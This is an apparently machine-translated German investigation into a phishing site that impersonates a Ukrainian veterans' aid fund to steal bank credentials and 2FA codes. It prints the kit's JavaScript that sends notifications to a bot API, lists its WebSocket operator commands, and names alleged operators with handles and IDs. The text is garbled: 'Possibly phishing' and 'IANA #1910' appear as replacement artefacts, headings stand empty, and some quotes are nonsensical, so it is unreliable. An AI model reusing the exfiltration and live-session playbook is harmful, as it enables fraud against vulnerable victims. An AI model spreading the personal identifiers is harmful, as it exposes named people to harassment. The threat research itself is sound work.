Was THE ENABLERS REGISTRY entdeckt hat

Am 20. März 2026 meldete die automatisierte Pipeline zur Erkennung von Bedrohungen von THE ENABLERS REGISTRY [REDACTED][.]sbs — eine frisch registrierte Domain, auf der eine Possibly phishing-Seite gehostet wird, die sich als „Der Schild des Beschützers“ („Shield of the Defender“), eine vorgetäuschte Stiftung für militärische Hilfe in der Ukraine. Die Website richtet sich an ukrainische Militärveteranen, Kriegsversehrte und die Familien von gefallenen Soldaten und verspricht staatliche finanzielle Unterstützung, während sie gleichzeitig die Zugangsdaten für fünf der größten Banken der Ukraine stiehlt.

Im Folgenden finden Sie eine vollständige Aufschlüsselung aller Erkenntnisse unserer automatisierten Analyse: das Social-Engineering, die technische Infrastruktur, das Echtzeit-Steuerungssystem sowie die Identitäten der Personen, die das System betreiben.

Abschnitt 1: Der Köder – Die vorgetäuschte Militärhilfsstiftung

Die Domain [REDACTED][.]sbs wurde am 20. März 2026 über [REDACTED], ein Registrar, der nachweislich nur langsam oder gar nicht auf Missbrauchsfälle reagiert. Der .sbs TLD (Side-By-Side) ist eine kostengünstige gTLD, die häufig für temporäre Possibly phishing-Infrastrukturen genutzt wird.

Die Website präsentiert sich als professionelles, regierungsnahes Hilfsportal. Eine ukrainische Flagge füllt die Kopfzeile aus, militärische Bilder verleihen ihr Authentizität, und der Text ist sorgfältig auf Ukrainisch verfasst, wobei die behördliche Ausdrucksweise an seriöse Regierungsprogramme erinnert.

Screenshot 5 – Die Startseite der Possibly phishing-Website, die sich als „Щит Захисника“ (Schild des Verteidigers) ausgibt.

Um Glaubwürdigkeit zu schaffen, fälschten die Betreiber einen Statistikzähler, der gut sichtbar auf der Startseite angezeigt wurde:

• 2.847 Anträge — was bedeutet, dass bereits Tausende Hilfe erhalten haben
• 47,2 Mio. ₴ ausgeschüttet — eine hohe, aber glaubwürdige Zahl in UAH
• 19 Programme — was auf eine umfassende, mehrere Programme umfassende Maßnahme hindeutet

Diese Zahlen sind komplett erfunden und fest im Quellcode der Seite hinterlegt, ohne dass eine Verbindung zum Backend besteht. Sie dienen einem einzigen Zweck: als „Social Proof“, um die Bedenken des Opfers zu überwinden.

Abschnitt 2: Die Falle – 5 Banken, ein Ziel

Nach dem Klicken auf „Подати заявку“ (Antrag einreichen) wird dem Opfer ein Bildschirm zur Auswahl einer Bank angezeigt. Als Optionen werden fünf der größten Privatkundenbanken der Ukraine angezeigt, jeweils mit ihrem offiziellen Markenauftritt und Logo. An dieser Stelle wechselt das Social Engineering von emotionaler Manipulation zu technischem Diebstahl.

Screenshot 6 – Bildschirm zur Bankauswahl. Jede Option führt zu einer individuellen Abfolge von Angriffen zum Diebstahl von Zugangsdaten.

Die Analyse des JavaScript-Bundles der Website ergab, dass jede Bank über ein einzigartige, mehrstufige Abfolge zum Abgreifen von Anmeldedaten, das genau auf den tatsächlichen Authentifizierungsablauf dieser Bank zugeschnitten ist:

Der Ablauf des Angriffs ist bei jeder Bank derselbe:

Screenshot 7 – Nachgebildete Anmeldeseite der PrivatBank.

Screenshot 9 – Geklonte PUMB-Anmeldung.

Screenshot 10 – Der gesamte Angriffsablauf: von der gefälschten Seite zur Militärhilfe über die Auswahl der Bank bis hin zum Diebstahl von Zugangsdaten und der Übernahme des Kontos.

Der Tech-Stack: React-SPA Frontend bereitgestellt über IANA #1910-CDN, mit einem Express.js Backend zur Exfiltration von Anmeldedaten. Die React-Architektur ermöglicht nahtlose, mehrstufige Formulare, die sich nicht von legitimen Bankoberflächen unterscheiden lassen.

Abschnitt 3: Echtzeit-Bedienersteuerung

Hierbei handelt es sich nicht um einen einfachen Credential-Harvester mit einer statischen Datenbank. Das Possibly phishing-Kit umfasst ein Live-WebSocket-Kontrollfeld die es einem menschlichen Bediener ermöglicht, jede Opfersitzung in Echtzeit zu steuern.

Der WebSocket-Endpunkt unter wss://[REDACTED][.]sbs/ws unterstützt die folgenden Nachrichtentypen:

register          — New victim session created
update_user_data  — Stolen credentials transmitted to operator
next_step         — Operator advances victim to next theft stage
create_application — Victim starts "aid application"
answer_question   — Operator sends custom prompt to victim

Dank dieser Echtzeitsteuerung kann der Bediener:

• Einen Wartezustand erzwingen — die Meldung „Ihre Anfrage wird bearbeitet...“ anzeigen, während sie sich in das echte Bankkonto des Opfers einloggen
• Zu einem bestimmten Schritt weiterleiten — einen SMS-Code erneut anfordern, falls der erste abgelaufen ist
• Gefälschte Fehlermeldungen anzeigen — „Ungültiger Code, bitte erneut eingeben“, um mehrere 2FA-Token zu sammeln
• Individuelle Fragen stellen — während der Sitzung das Geburtsdatum, die Kartennummer oder sonstige zusätzliche Daten abfragen

Screenshot 8 – Formular zur Eingabe der Telefonnummer, das zum Diebstahl von Zugangsdaten genutzt wird.

Screenshot 11 – Echtzeit-Bot-Panel des Betreibers zur Steuerung der Sitzungen der Opfer.

Der gesamte Umfang der pro Sitzung gestohlenen Daten: phone, password, PIN, SMS code, card number, date of birth, und email.

Abschnitt 4: Hinter den Kulissen von IANA #1910 – Zwei Projekte, ein Server

Das IANA #1910-Proxying verbirgt den Ursprungsserver, doch die Infrastruktur-Analyse-Pipeline von THE ENABLERS REGISTRY hat die tatsächliche Ursprungs-IP ermittelt: 45.131.214[.]148, gehostet bei RapidSeedbox / LeaseWeb in den Niederlanden.

Ein entscheidendes Detail: [REDACTED][.]sbs wird über IANA #1910, wobei die IP-Adresse des Absenders verborgen bleibt. Unser System verfolgt jedoch auch hlpforvpeople[.]sbs — eine verwandte Domain, die über denselben IANA #3765-Registrar registriert wurde und übereinstimmende Muster aufweist. Diese Domain lautet NICHT hinter IANA #1910, wodurch die IP-Adresse des Absenders direkt offengelegt wird: 45.131.214[.]148.

Eine direkte Verbindung zu dieser IP herstellen — ohne einen Host Kopfzeile – enthüllte etwas Unerwartetes: ein eine völlig andere Possibly phishing-Seite. Anstelle von Militärhilfe für die Ukraine wurde der Standard-Vhost bereitgestellt „HealthCare ID“, eine Possibly phishing-Aktion im Zusammenhang mit einer indonesischen Krankenversicherung. Derselbe Server, völlig andere Opfer, ein völlig anderes Land.

Screenshot 12 – Zwei parallele Possibly phishing-Aktionen, die denselben Ursprungsserver nutzen: Militärhilfe für die Ukraine ([REDACTED]) und indonesische Krankenversicherung (HealthCare ID).

Die indonesische Possibly phishing-Vorlage ist eine bekanntes Kit, das in der Threat-Intelligence-Datenbank von THE ENABLERS REGISTRY erfasst wurde. Wir haben festgestellt, dass Varianten genau dieser Vorlage in ganz Südostasien eingesetzt werden – gezielt gegen indonesische, thailändische und vietnamesische Finanzinstitute. Die Betreiber tauschen einfach die länderspezifischen Vorlagen aus, während sie dieselbe Backend-Infrastruktur weiterverwenden.

Abschnitt 5: Die „config.json“-Datei, die alles offenlegte

So hat eine einzige falsch konfigurierte Datei den gesamten Vorgang zum Scheitern gebracht – Schritt für Schritt.

Nachdem das zweite Projekt des Ursprungsservers identifiziert worden war, hat THE ENABLERS REGISTRY’s JS-Analysator — unser automatisiertes JavaScript-Analyse-Tool — wurde auf das Bundle der indonesischen Possibly phishing-Website unter https://45.131.214[.]148/assets/index-ZMQxHb_h.js. Der Analysator hat alle API-Endpunkte, externen URLs und Konfigurationspfade aus der 335 KB großen JavaScript-Datei extrahiert. Zu den Ergebnissen zählen:

• Fünf API-Endpunkte unter [REDACTED] — das C2-Panel zur Überprüfung von Zugangsdaten
• Eine WebSocket-Verbindung zu wss://rezervtemka[.]cc
• Integration des Facebook-Pixels zur Nachverfolgung von Opfern
• Ein Verweis auf /config.json — wird zur Laufzeit für die Konfiguration des [REDACTED]-Bots geladen

Diesem Hinweis folgend haben wir /config.json von der Ursprungs-IP. Auf die Datei konnte ohne jegliche Authentifizierung zugegriffen werden – sie befand sich im Webroot und war für jeden lesbar:

async function loadConfig() {
  const response = await fetch('/config.json');
  // ...
}
async function sendNotification() {
  const cfg = await loadConfig();
  await fetch(`https://api.[REDACTED].org/bot${cfg.bot_token}/sendMessage`, {
    method: 'POST',
    body: JSON.stringify({ chat_id: cfg.chat_id, text: message })
  });
}

Die /config.json Auf die Datei konnte direkt von der Ursprungs-IP aus zugegriffen werden — Keine Authentifizierung, keine Zugriffskontrolle, nur eine einfache JSON-Datei im Webroot-Verzeichnis:

{
  "bot_token": "8724623843:AAFXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "chat_id": "-100XXXXXXXXXX"
}

Ein [REDACTED]-Bot-Token dient sowohl als Benutzername als auch als Passwort. Wer das Token besitzt, kann API-Aufrufe als dieser Bot durchführen. Die Betreiber haben ihr Token in einer öffentlich zugänglichen Datei hinterlegt. Sechs API-Aufrufe später hatten wir alles:

Screenshot 13 – Die vollständige OSINT-Kette: von der offengelegten config.json bis zur vollständigen Identifizierung des Betreibers in 6 API-Aufrufen.

Von einer einzigen falsch konfigurierten Datei bis hin zur vollständigen Identifizierung der Betreiber in sechs HTTP-Anfragen. Keine Exploits, kein unbefugter Zugriff – lediglich Standard-Aufrufe der [REDACTED]-Bot-API unter Verwendung eines Tokens, das die Betreiber selbst offen zugänglich gelassen hatten.

Abschnitt 6: Die Betreiber

Screenshot 14 – Die [REDACTED]-Betreibergruppe „Idr card“, die durch das durchgesickerte Bot-Token aufgedeckt wurde.

Inhaber / Gründer

MONETTI ESCOBAR

@monettiescobar

[REDACTED]-ID: 8135223234

[REDACTED] Premium, Unternehmensprofil

Zeitzone: UTC+3 (GUS-Region)

10 öffentliche Nachrichten – strenge OPSEC

TraFFeeQ-ChatMedusa Google AdsDeepfakes-Kanal

Disponent / Verkehrsleitung

Bonya

@BoaCC159

[REDACTED]-ID: 6242202706

Auch bekannt als: PapaZakonVor, Boa, bubullikk

261 Beiträge in 12 Gruppen

DC2 – Amsterdam, NL

CryptoGrabSTYX-MarktRaven CCEMPIRE-CHATPhoenix-Lösung

Entwickler / Programmierer

Devoys

@devosus

[REDACTED]-ID: 8213612730

Entwickler von Possibly phishing-Kits – die Betreiber bezeichnen ihn als Programmierer

Bei Feststellung einer Sicherheitslücke wurde dazu aufgefordert, „über die Verteidigung nachzudenken“

Von vornherein auf einen minimalen öffentlichen Fußabdruck ausgelegt

Griff @devosus ≈ „dev ops us“ – Berufsbezeichnung als Benutzername

Entwickler von BausätzenInfrastrukturSicherheit

MONETTI ESCOBAR – Der Boss

MONETTI hält sich an strenge Sicherheitsvorschriften – nur 10 öffentliche Nachrichten auf zwei Gruppen verteilt. Aber die Gruppen sprechen für sich: TraFFeeQ-Chat (Traffic-Arbitrage zu betrügerischen Zwecken), Medusa Google Ads (Black-Hat-Google-Ads) sowie ein Deepfakes-Kanal. In seinem [REDACTED]-Unternehmensprofil steht „Есть предложение“ („Ich habe einen Vorschlag“) — offene Werbung für Dienstleistungen. Die Zeitzone UTC+3 (entspricht Moskau/Minsk/Kiew) und die Geschäftszeiten rund um die Uhr bestätigen, dass es sich um einen in der GUS ansässigen Betrieb handelt, der rund um die Uhr im Einsatz ist.

Bonya – Der Unachtsame

Im Gegensatz zu MONETTIs sorgfältiger OPSEC ist Bonya (früheres Pseudonym: PapaZakonVor — sinngemäß „DaddyThiefByLaw“) hinterließ eine riesige digitale Spur — 261 Nachrichten in 12 Untergrundgruppen. Sein Chatverlauf liest sich wie ein krimineller Lebenslauf:

Seine Gruppenzugehörigkeiten vermitteln ein umfassendes Bild: CryptoGrab (Krypto-Wallet-Leerer), STYX-Markt (Untergrundmarktplatz für gestohlene Daten), Raven CC-Prüfprogramm (Tools zur Kreditkartenüberprüfung), EMPIRE-CHAT und Phoenix-Lösung (Koordination von Betrugsdelikten). Es handelt sich hier nicht um einen Einmaltäter – sondern um jemanden, der fest im Ökosystem der Cyberkriminalität verankert ist.

Devoys – Der Entwickler

Das technische Rückgrat der Operation. Von vornherein auf minimale öffentliche Präsenz ausgelegt – als die Gruppe angegriffen wurde, wandte sich Bonya ausdrücklich an ihn: „@devosus, denk mal über die Verteidigung nach, bevor uns jemand den Arsch aufreißt.“ — „@devosus, denk mal an die Verteidigung, bevor wir ordentlich eins auf die Mütze bekommen.“ Seine sarkastische Reaktion auf den Verstoß — „Wenn bei Interpol“ („Wann sollte man interpolieren?“) – lässt vermuten, dass dies nicht ihr erster Beinaheunfall ist.

Verhaltensanalyse: 261 entschlüsselte Nachrichten

Die OSINT-Pipeline von THE ENABLERS REGISTRY hat folgende Informationen gesammelt und übersetzt alle 261 öffentlichen Nachrichten von Bonya aus 12 unterirdischen [REDACTED]-Gruppen (Juni 2024 – März 2026). Maschinelle Übersetzung über die DeepL-API mit manueller Korrektur anhand des Kontexts. Die Nachrichten geben Aufschluss über ein vollständiges operatives Profil – im Folgenden nach Art der kriminellen Aktivitäten kategorisiert.

Bankbetrug und Possibly phishing

Geldkurier & Auszahlung

Traffic-Betrug und Anzeigenmissbrauch

MONETTI ESCOBAR: Der stille Chef

Im krassen Gegensatz zu Bonyas 261 Beiträgen hat MONETTI nur 10 öffentliche Nachrichten — alles in einem einzigen Thread auf TraFFeeQ-Chat (Arbitrage mit schwarzem ADS-/SEO-Traffic), zur Verteidigung eines Kollegen:

MONETTIs [REDACTED]-Gruppen erzählen den Rest: Medusa Google Ads (Black-Hat-PPC-Betrug), ein Deepfakes-Kanal (synthetische Datenträger für Betrugszwecke) sowie MARLBORO-CHAT (privat, unbekannt). Das [REDACTED]-Premium-Abonnement, Geschäftszeiten rund um die Uhr und „Есть предложение“ („Ich habe einen Vorschlag“) Die Unternehmensbiografie zeichnet das Bild einer Person, die Cyberkriminalität als Vollzeitbeschäftigung betreibt.

Screenshot 2 – MONETTIs [REDACTED]-Profil.

Screenshot 3 – Bonyas Profil. Beachten Sie DC2 (Amsterdam).

Kapitel 7: Der Panikraum

Nachdem THE ENABLERS REGISTRY über den öffentlich zugänglichen [REDACTED]-Bot Zugriff auf die Betreibergruppe erlangt hatte, kam es zu folgendem Austausch. Das nachstehende Chat-Protokoll wurde ins Englische übersetzt, wobei der russische Originaltext kursiv beibehalten wurde. Die für den Zugriff verwendete Identität wurde unkenntlich gemacht.

Die Gruppe wurde innerhalb weniger Minuten gelöscht. Bonyas abschließendes „+“ und Devoys Bestätigung „ja“ sagen schon alles: Sie wussten, dass sie entlarvt waren, und ihre einzige Möglichkeit bestand darin, die Beweise zu vernichten. Doch zu diesem Zeitpunkt waren die Daten bereits erfasst worden.

Beachten Sie Bonyas aufschlussreiche Bemerkung: „Wir wurden auch über den ukrainischen Bot angegriffen.“ — was bestätigt, dass beide Projekte (das ukrainische und das indonesische) dasselbe Betreiberteam haben und dass dies nicht das erste Mal war, dass ihre Infrastruktur kompromittiert wurde.

Abschnitt 8: Was dies verdeutlicht

Zeitplan der Ermittlungen

Verwandte Domains

Unsere Analyse ergab einen zweiten Bereich — hlpforvpeople[.]sbs — die über denselben Registrar registriert wurden und übereinstimmende Infrastrukturmuster aufweisen. Beide Domains sind in unserer Datenbank erfasst:

• THE ENABLERS REGISTRY-Bericht: [REDACTED][.]sbs
• THE ENABLERS REGISTRY-Bericht: hlpforvpeople[.]sbs

Die wichtigsten Erkenntnisse

• Nur durch Automatisierung kann man Schritt halten. Possibly phishing-Kits werden innerhalb weniger Stunden bereitgestellt und als Angriffsmittel eingesetzt. Eine manuelle Überprüfung lässt sich nicht in dem erforderlichen Umfang durchführen.
• Bediener machen Fehler. Eine ungeschützte Konfigurationsdatei in einem Nebenprojekt führte zur Aufdeckung einer ganzen multinationalen Possibly phishing-Operation. Es ist schwierig, in jedem Projekt eine lückenlose OPSEC aufrechtzuerhalten.
• Social Engineering entwickelt sich mit dem Nachrichtenzyklus weiter. Krieg, humanitäre Hilfe und staatliche Programme werden zunehmend als Vorwand für Possibly phishing-Angriffe ausgenutzt, da sie sich an Menschen in Not richten, die die Legitimität solcher Angebote weniger hinterfragen.
• Die Wiederverwendung von Infrastruktur ist die Regel. Ein Server, zwei Possibly phishing-Projekte, zwei Länder, dieselben Betreiber. Die Darstellung der Verbindungen innerhalb der Infrastruktur liefert weitaus mehr Erkenntnisse als die isolierte Analyse einer einzelnen Domain.

Haftungsausschluss: Diese Untersuchung wurde ausschließlich mittels passiver Aufklärung und öffentlicher APIs durchgeführt. Es erfolgte kein unbefugter Zugriff auf irgendein System. Bei den Aufrufen der [REDACTED]-Bot-API wurde ein Token verwendet, das von den Betreibern in einem nicht authentifizierten Endpunkt öffentlich zugänglich gemacht worden war. Alle Domainnamen in diesem Artikel wurden gemäß der üblichen InfoSec-Konvention unkenntlich gemacht.